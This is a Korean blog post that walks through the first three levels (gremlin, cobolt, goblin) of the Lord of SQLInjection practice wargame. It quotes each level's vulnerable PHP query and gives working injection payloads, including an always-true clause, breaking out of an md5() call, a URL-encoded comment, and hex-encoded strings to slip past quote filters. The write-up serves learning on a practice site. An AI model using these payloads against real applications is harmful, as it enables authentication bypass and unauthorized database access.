Lord of SQLInjection(LOS)에서 방학동안 문제를 쭉 풀어보려고 한다. 사이트명 그대로 SQL Injection을 연습할 수 있는 워게임 사이트다. https://los.rubiya.kr/
요즘 보안관련 공부가 재밌어서 관련된 사이트를 훑어보다가 문제 퀄리티가 좋아서, 방학동안 할 수 있는 곳까지 밀어보려고 한다. 백엔드를 다루면서 SQL도 익힐 수 있었는데, 웹 보안 관련해서도 공부할 겸 좋은 사이트인것 같다.
한 주에 3문제씩 풀고, 모아서 포스팅해보려한다.
1번 - gremlin
<?php
...
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
...
?>
SQL문이 있고 id와 pw를 입력받는다. 만약 result['id']가 true면 풀리는 문제인듯하다.
비슷한 유형을 다른 사이트에서 본적이 있어서 쉽게 풀 수 있을 듯하다.
url에 ?<내용> 형태로 전달하면 될 듯하고, id에 대해서만 판정이 있으니까
?id=admin로 전달해주고, pw부분은 무조건 true일 수 밖에 없도록 설계하면 될 듯하다.
pw=1'or'1'='1 을 추가해주면, pw='' 안에 1'or'1'='1이 들어가기 때문에 pw='1' or true의 형태가 되어 Injection이 가능해진다.
합쳐서 쿼리를 요청하려면 ?id=admin&pw=1'or'1'='1
2번 - cobolt
<?php
...
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
...
?>
id는 위의 1번과 똑같이 처리해주면 될것 같고, pw는 md5로 암호화해서 들어가게 되는데, 일단 MD5에 대해 먼저 찾아봤다. 암호화와 복호화가 다 가능한 해쉬함수인데 역함수가 성립하는 형태는 아니였기에 md5안에 복호화된 1'or'1'='1를 넣는건 실패했다.
다른 방법을 찾아냈는데, 쿼리문에 괄호를 )( 형태로 넣어서 함수를 무시하는 방법이다.
id=admin&pw=')or pw='1'or('1'='1 형태로 추가해주면 된다.
select id from prob_cobolt where id='admin' and pw=md5('')or pw='1'or('1'='1')
근데 생각해보니 이러면 pw만 처리되고 id는 한번더 손봐줘야한다. (이렇게 하면 진짜 아무거나 갖고 오는거임)
id=admin&pw=')or pw='1'or'1'='1' and id=('admin
이렇게 넣어야 비로소 통과할 수 있었다.
그러면 최종 완성된 쿼리문 형태는 다음과 같다.
select id from prob_cobolt where id='admin' and pw=md5('')or pw='1'or'1'='1' and id=('admin')
+@ 추가
다른 블로그 풀이를 봤더니 id만 상관있기 때문에 id=admin으로 입력하고, 그 뒤를 다 주석처리(오라클 기준 #)해서 pw 부분을 무용지물로 만드는 방법도 있다.
?id=admin'# 을 넣으면 되는데, #은 필터링을 당해서 안되고 %23으로 url 인코딩으로 우회해주는 방법도 있다
?id=admin'%23 으로 풀수 있다.
3번 - goblin
<?php
...
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
...
?>
이미 SQL문에 id를 받는 부분에 guest가 들어가 있는데 no에 들어가는 인자를 이용해서 id를 admin으로 치환하는 문제인듯하다.
?no=213 or id=admin 을 시도했더니 admin을 변수명 처럼 받고 문자열로 인식하지 못했다.
그래서 ?no=123 or id='admin'를 시도해봤더니, 따옴표들이 필터링 되고 있었다. %23도 마찬가지...
(그래서 고민하다 결국 정답지를 찾아봤다)
이런 경우에 hex값을 넣어서 문자열로 인식시키는 방법이 있다고 한다. DB 종류마다 다르겠지만
admin을 hex코드로 변환해서 0x61646d696e 로 바꿔서 인젝션 시키면 성공할 수 있다.(no 값에는 아무거나)
?no=213 or id=0x61646d696e 로 풀수 있었다.
이때 no=1은 guest를 지칭하고 있어서 풀리지 않았고 1이 아닌 다른 값을 넣으면 해결할 수 있었다.
(id='guest' and no=1이 true이기 때문)
'보안' 카테고리의 다른 글
[보안] 리눅스에서 snort로 IDS/IPS 구축하기, 설치부터 rule 세팅까지 (AWS EC2 Ubuntu 22.04) (0) | 2023.03.28 |
---|